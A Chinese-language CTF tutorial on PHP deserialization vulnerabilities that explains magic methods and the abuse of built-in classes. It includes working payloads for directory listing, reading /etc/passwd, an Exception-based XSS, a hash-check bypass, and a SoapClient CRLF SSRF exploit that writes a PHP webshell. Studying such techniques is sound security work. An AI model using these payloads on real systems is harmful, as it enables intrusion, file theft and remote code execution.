序列化:对象转化为数组或字符串等格式。
反序列化:将数组或字符串等格式转化为对象。
1 原理
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入、目录遍历等不可控后果。在反序列化过程中自动触发了某些魔法方法。当反序列化的时候就有可能触发对象中的一些魔术方法。
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct(): 在对象构造时会自动调用,可以用于检查输入参数是否合法。
__destruct(): 在对象销毁时会自动调用,可以用于清理资源。
__wakeup(): 在 unserialize() 时会自动调用,可以用于恢复对象状态。
__invoke(): 当对象被当作函数调用时会自动调用,可以用于执行特定操作。
__call()、__callStatic(): 当调用不存在的方法时会自动调用,可以用于处理未定义的方法。
__get()、__set(): 当访问不存在的属性时会自动调用,可以用于处理未定义的属性。
__isset()、__unset(): 当检查属性是否存在或删除属性时会自动调用,可以用于控制属性的访问。
__toString(): 当对象被转换为字符串时会自动调用,可以用于自定义对象的字符串表示。
__sleep(): 在 serialize() 函数被调用时会自动调用,可以用于清理对象状态,防止序列化敏感信息。
2 序列化的格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $user=array('xiao','shi','zi'); $user=serialize($user); echo($user.PHP_EOL); print_r(unserialize($user));
|
序列化后的内容只有成员变量,没有成员函数,比如下面的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class test{ public $a; public $b; function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";} function happy(){return $this->a;} } $a = new test(); echo serialize($a); ?>
|
而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class test{ protected $a; private $b; function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";} function happy(){return $this->a;} } $a = new test(); echo serialize($a); echo urlencode(serialize($a)); ?>
|
2.1.1 属性
在PHP中,使用_serialize()_函数对对象进行序列化时,类的属性会根据其访问权限(public、protected、private)以不同的格式存储。以下是具体的格式说明:
- Public属性 公共属性在序列化时不会添加任何标记,变量名保持不变。例如:
1
| s:17:"\0FileHandler_Z\0op";i:2;
|
3 序列化的种类
- 魔术方法的调用逻辑
- 语言原生类的调用逻辑
- 语言自身的缺陷
3.1 魔术方法
PHP的魔术方法是一组特殊的方法,以双下划线(__)开头和命令
它们在对象的生命周期中被自动调用,用于执行特殊的操作。这些魔术方法可以让开发者更好地控制和定制对象的行为
3.1.1 __invoke()方法
实例化该方法的类后,再以函数的方式调用类,就可以触发__invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class Myclass { public function __invoke() { echo '__invoke方法调用成功'; }
}
$a = new Myclass(); $a(); //实例化类后,以函数的形式进行调用,可以触发__invoke方法 ;?>
|
可以发现当$a()执行之后就会成功调用invoke方法

3.1.2 __wakeup()方法
该方法在反序列化对象的时候会进行调用,在php中unserialize函数为反序列化函数
1 2 3 4 5 6 7 8 9 10
| <?php class Myclass{
public function __wakeup(){ echo "我已经被反序列化了,可以执行苏醒函数了"; } } $obj = new Myclass(); $serialize_obj = serialize($obj); unserialize($serialize_obj); //反序列化对象
|
当unserialize函数执行完毕之后,可以看见成功调用了__weakeup()魔术方法

如果我们在序列化中说明的对象个数要比实际的对象个数要大,那么将不会执行__wakeup()这个方法
3.1.3 __sleep()方法
当该对象执行serialize函数的时候,进行序列化的时候会进行调用,如下
1 2 3 4 5 6 7 8 9 10
| <?php class Myclass{
public function __sleep(){ echo "我已经被序列化了,可以执行睡觉函数了"; } } $obj = new Myclass(); serialize($obj); //序列化对象
|
可以看见执行serialize函数的时候,会调用__sleep()方法

3.1.4 __construct()方法
构造方法,实例化对象的时候自动调用的方法,如下:
1 2 3 4 5 6 7 8
| <?php class MyClass { public function __construct() { echo "对象创建成功!"; } }
$obj = new MyClass(); //实例化MyClass对象
|
可以看见实例化的时候,会调用__construct()魔术方法。

3.1.4.1 函数作用
| 函数作用 |
调用时机 |
传递参数 |
返回值 |
| 在对象创建之后对其进行初始化操作,如初始化属性、建立与数据库的连接、加载必要的资源等 |
构造函数在创建对象时自动调用 |
根据实际需求来定义 |
无要求 |
3.1.5 __destruct()方法
销毁函数,当脚本执行结束的时候就会运行该方法,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
class Myclass {
function __construct() { echo "aa "; } function __destruct() {
print "bb"; } }
$obj = new Myclass();
|
创建 $obj 对象时,调用__construct() 方法,输出 aa。执行完上述之后,就会调用销毁函数,最后输出bb

3.1.5.1 函数作用
| 函数作用 |
调用时机 |
传递参数 |
返回值 |
| 在对象生命结束之前执行一些必要的清理操作,如释放资源、关闭数据库连接、保存对象状态等 |
对象被销毁时(php垃圾回收机制;脚本结束自动销毁对象) |
不可设置 |
无 |
3.1.6 __toString()方法
当该方法的对象时被当作字符串输出,会返回__toString方法的字符串。比如:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
class Myclass {
function __toString() { return "执行toString魔术方法"; } }
$obj = new Myclass(); echo $obj;
|
可以看见输出对象当作字符串的时候,就会成功调用__toString魔术方法,并且返回它的字符串信息

3.1.7 __get()方法
该方法当访问一个对象的不可访问属性时被调用,会自动调用,如下
1 2 3 4 5 6 7 8
| <?php class Myclass{ public function __get($name){ echo $name; } } $obj = new Myclass(); $obj->hello;
|
可以看见调用了一个不存在的hello,最后触发了__get()方法,输出了hello

3.1.8 __set()方法
__set($name, value)方法,当给对象的不可访问属性赋值时被调用。其中value)方法,当给对象的不可访问属性赋值时被调用。其中value)方法,当给对象的不可访问属性赋值时被调用。其中name指的是键名,$value指的是值。
1 2 3 4 5 6 7 8 9
| <?php class Myclass{ public function __set($name,$value){ echo $name."-----".$value; } } $obj = new Myclass(); $obj->me = "hello";
|
最后可以看见成功调用__set()方法

3.1.9 3.1.9__isset()方法
该方法,当用isset()或empty()判断该当前对象不可见属性的时候,就会调用
1 2 3 4 5 6 7 8 9 10 11
| <?php class Myclass{ //获取不可见属性时,被调到触发 public function __isset($a){ echo $a."<br>"; } } $obj = new Myclass(); isset($obj->a); empty($obj->b);
|
可以看见当·访问量不可见的a和b属性的时候就成功输出了a和b。

3.1.10 3.1.10__unset()方法
该魔术方法同isset()方法差不多。当使用unset()判断一个该对象不可见属性的时候就会调用isset()方法
1 2 3 4 5 6 7 8 9 10
| <?php class Myclass{ //获取不可见属性时,被调到触发 public function __unset($a){ echo $a."<br>"; } } $obj = new Myclass(); unset($obj->a);
|
可以看见成功调用了_unset()方法

3.1.11 __call()方法
__call()该方法在调用的方法不存在或私有方法时会自动调用,这个方法接受两个参数。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class MyClass { function __call($class_name, $args) { echo "__call方法调用成功<br>"; var_dump($class_name,$args); } }
$a=new MyClass(); $a->test("test1","test2");
|
test()方法是不存在的,访问php文件,可以看见成功调用__call()方法。
test是方法名,test1和test2是test方法的参数。

3.1.12 __callStatic()方法
- 当该方法的对象要调用的静态方法不存在或者权限不足时候会调用该方法
- 接受的参数为数组形式
如下例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php class Myclass { private static function name() { echo 'hhhhhhhhh'; } public function __callStatic($function_name, $arg) { echo "__callStatic方法调用成功"; var_dump($function_name,$arg); die; } }
$a = new Myclass(); $a::test("参数1","参数2"); //或 Myclass::test("参数1","参数2"); ?>
|
可以发现当该对象调用私有的静态name方法时,成功调用了__callStatic()方法,并且执行了不存在的方法

3.2 语言原生类的调用逻辑
3.2.1 原生类
原生类搜索
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $classes=get_declared_classes(); foreach ($classes as $class){ $methods =get_class_methods($class); foreach ($methods as $method){ if(in_array($method,array( //'__destruct', //'__toString', //'__wakeup', //'__call', //'__callStatic', //'__get', //'__set', //'__isset', //'__unset', //'__invoke', //'__set_state' ))){ print $class . '::' . $method . "\n"; } } }
|
3.2.2 种类
3.2.2.1 读取目录/文件(内容)
3.2.2.1.1 查看文件类
3.2.2.1.1.1 Directorylterator/Filesystemlterator
- Directorylterator
- Filesystemlterator
- (PHP 5 >= 5.3.0, PHP 7, PHP 8)
当然从官方文档我们不难看出两个原生类的关系

即继承关系
查看官方文档可以发现在该类下有一个__toString()方法

而这个__toString()方法可以获取字符串形式的文件名
这边起一个docker环境本地测试一下
测试代码:
1 2 3 4 5 6 7 8
| <?php highlight_file(__file__); $dir = $_GET['ki10Moc']; $a = new DirectoryIterator($dir); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
|
可以直接配合glob伪协议来读取目录
下面看一下效果图




这种姿势也可以无视open_basedir的限制
并且从图中就可以看出这两个原生类的些许区别了,Filesystemlterator会以绝路路径的形式展现,而DirectoryIterator仅显示出当前目录下的文件信息
这两个类同样也有一句话形式payload:
DirectoryIterator:
1
| $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
|
FilesystemIterator:
1
| $a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
|
这里简单测试一下
CTFshow web74
1 2 3 4 5 6 7 8 9 10 11 12 13
| error_reporting(0); ini_set('display_errors', 0);
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?>
|
传入payload
1
| c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}exit();
|
得到

包含一下即可
1
| c=include('/flagx.txt');exit();
|
3.2.2.1.1.2 Globlterator
(PHP 5 >= 5.3.0, PHP 7, PHP 8)
与前两个类的作用相似,GlobIterator 类也是可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。
既然遍历一个文件系统性为类似于glob()
所以在这个类中不需要配合glob伪协议,可以直接使用
看了一下文档发现该原生类是继承FilesystemIterator的,所以也是以绝对路径显示的

测试代码
1 2 3 4 5 6 7 8
| <?php highlight_file(__file__); $dir = $_GET['ki10Moc']; $a = new GlobIterator($dir); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
|

传参直接给路径就行
3.2.2.1.2 读取文件内容
3.2.2.1.2.1 SplFileInfo
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileInfo类为单个文件的信息提供了高级的面向对象接口
SplFileInfo::__toString — Returns the path to the file as a string //将文件路径作为字符串返回

测试代码:
1 2 3 4 5 6
| <?php highlight_file(__file__); $context = new SplFileObject('/etc/passwd'); foreach($context as $f){ echo($f); }
|

这里提一个小trick
PHP的动态函数调用
举个例子
来看一下下面这段代码展示效果
1 2 3
| <?php echo ('system')('dir'); ?>
|

发现其实就是调用了system函数执行了dir
那这里给出一个Demo,供大家参考
1 2 3 4 5 6 7 8 9 10 11 12 13
| class Example{ public $class; public $data; public function __construct() { $this->class = "FilesystemIterator"; $this->data = "/"; } // public function __destruct() // {
}
|
若是在反序列化题目,或者更多是在pop链构造的题目中见到形如
$this->class($this->data)
那就可以__destruct()方法传入类名和参数来构造我们的恶意paylaod
3.2.2.2 构造XSS
3.2.2.2.1 Error /Exception
官方文档显示两个内置类的使用条件:
Error:用于PHP7、8,开启报错。
Exceotion:用于PHP5、7、8,开启报错。
Error是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的
PHP7中,可以在echo时(PHP对象被当做字符串或使用)触发__toString,来构造XSS。
从官方文档中可以看出,这两个原生类的属性相同,都是对message、code、file、line的信息处理,并调用__toString()方法将异常的对象转换为字符串

测试代码:
1 2 3 4 5
| <?php highlight_file(__file__); $a = unserialize($_GET['k']); echo $a; ?>
|
利用Exception::__toString方法来构造xss
1 2 3 4 5 6
| <?php $a = new Exception("<script>alert('U_F1ind_Me')</script>"); $b = serialize($a); echo urlencode($b); ?>
|

3.2.2.3 绕过哈希
还是这两个类
3.2.2.3.1 Error /Exception
这里就用到我们上面提到的四个属性
message
错误消息内容
code
错误代码
file
抛出错误的文件名
line
抛出错误的行数
注:这里会返回错误的行号,所以两个不同的对象在绕过hash函数时需要在同一行中。
1 2 3 4 5 6 7
| <?php try { throw new Error("Some error message"); } catch(Error $e) { echo $e; } ?>
|
来看一下报错信息
1
| Error: Some error message in L:\PHPstorm\PHPstormcode\Error.php:3 Stack trace: #0 {main}
|
这里我们可以再来做个小测试
来判断该原生类返回的信息是否相同
测试代码:
1 2 3 4 5 6 7 8
| <?php $a = new Error("payload",1);$b = new Error("payload",2); var_dump($a === $b); echo '<br>'; echo $a; echo '<br>'; echo $b; echo '<br>';
|
来看一下结果
1 2 3
| bool(false) Error: payload in D:\PHPstorm\PHPstormcode\errormd5.php:2 Stack trace: Error: payload in D:\PHPstorm\PHPstormcode\errormd5.php:2 Stack trace:
|

完全一样!!!
这个题目是个经典的哈希值判断绕过,也是这个题目让我认识了Error
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php error_reporting(0); class SYCLOVER { public $syc; public $lover;
public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }
} } }
if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); }
?>
|
可以看出这里反序列化后直接调用__wakeup()方法,该方法会对两个成员变量进行判断,两者不相等,md5加密后强等于,sha1加密后强等于。
这里我们就使用Error类即可绕过。
关于题解网上有许多资源,这里就不再赘述。
3.2.2.4 SSRF
3.2.2.4.1 SoapClient::__call
可进行SSRF
range:PHP 5, PHP 7, PHP 8
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。
如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| SoapClient { public __construct ( string|null $wsdl , array $options = [] ) public __call ( string $name , array $args ) : mixed public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null public __getCookies ( ) : array public __getFunctions ( ) : array|null public __getLastRequest ( ) : string|null public __getLastRequestHeaders ( ) : string|null public __getLastResponse ( ) : string|null public __getLastResponseHeaders ( ) : string|null public __getTypes ( ) : array|null public __setCookie ( string $name , string|null $value = null ) : void public __setLocation ( string $location = "" ) : string|null public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed }
|
use
SoapClient::__construct ( string|null $wsdl , array $options = [] )
$wsdl:wsdl文件的uri,如果是NULL意味着不使用WSDL模式。
$options:如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
SoapClient::__call ( string $name , array $args ) : mixed
官方的$option参数中有这样的一条介绍
1
| The user_agent option specifies string to use in User-Agent header.
|
我们可以自己设置User-Agent的值。当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送POST请求最关键的地方。
Demo
$_SERVER['REMOTE_ADDR']参考
1 2 3 4 5
| <?php if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){ @$a=$_POST[1]; @eval($a); }
|
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $target= 'http://127.0.0.1/demo.php'; $post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");'; $headers= array( 'X-Forwarded-For:127.0.0.1', 'Cookie:admin=1' ); $b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx"));
$aaa= serialize($b); $aaa= str_replace('^^','%0d%0a',$aaa); $aaa= str_replace('&','%26',$aaa); echo $aaa;
$x= unserialize(urldecode($aaa)); $x->no_func();
|
3.2.2.5 获取注释内容
3.2.2.5.1 ReflectionMethod
(PHP 5 >= 5.1.0, PHP 7, PHP 8)
ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容
本人没有在网上找到环境,就用源码自己改了一下注释和flag
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| <?php highlight_file(__file__); class User { private static $c = 0;
function a() { return ++self::$c; }
function b() { return ++self::$c; }
function c() { return ++self::$c; }
function d() { return ++self::$c; }
function e() {
return ++self::$c; }
function f() { return ++self::$c; }
function g() { return ++self::$c; }
function h() { return ++self::$c; }
function i() { return ++self::$c; }
function j() { return ++self::$c; }
function k() { return ++self::$c; }
function l() { return ++self::$c; }
function m() { return ++self::$c; }
function n() { return ++self::$c; }
function o() { return ++self::$c; }
function p() { return ++self::$c; }
function q() { return ++self::$c; }
function r() { return ++self::$c; }
function s() { return ++self::$c; }
function t() { return ++self::$c; }
}
$rc=$_GET["rc"]; $rb=$_GET["rb"]; $ra=$_GET["ra"]; $rd=$_GET["rd"]; $method= new $rc($ra, $rb); var_dump($method->$rd());
|
这里rc是传入原生类名,rb和ra都是传入类的属性,rd时传入类方法,后面就是实例化并且调用该方法。
payload:
1
| ?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
|

3.3 语言特性漏洞
3.3.1 cve-2016-7124
影响范围:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。